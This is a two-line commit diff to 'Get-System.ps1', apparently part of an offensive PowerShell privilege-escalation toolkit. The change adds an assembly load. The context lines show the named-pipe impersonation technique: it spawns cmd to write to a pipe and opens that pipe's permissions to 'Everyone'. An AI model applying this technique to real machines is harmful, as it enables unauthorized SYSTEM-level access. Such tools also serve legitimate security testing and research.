diff options
-rw-r--r-- | Privesc/Get-System.ps1 | 2 |
1 files changed, 2 insertions, 0 deletions
diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 index 32d4399..f2b8014 100644 --- a/Privesc/Get-System.ps1 +++ b/Privesc/Get-System.ps1 @@ -173,6 +173,8 @@ function Get-System { $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" + Add-Type -Assembly System.Core + # create the named pipe used for impersonation and set appropriate permissions $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) |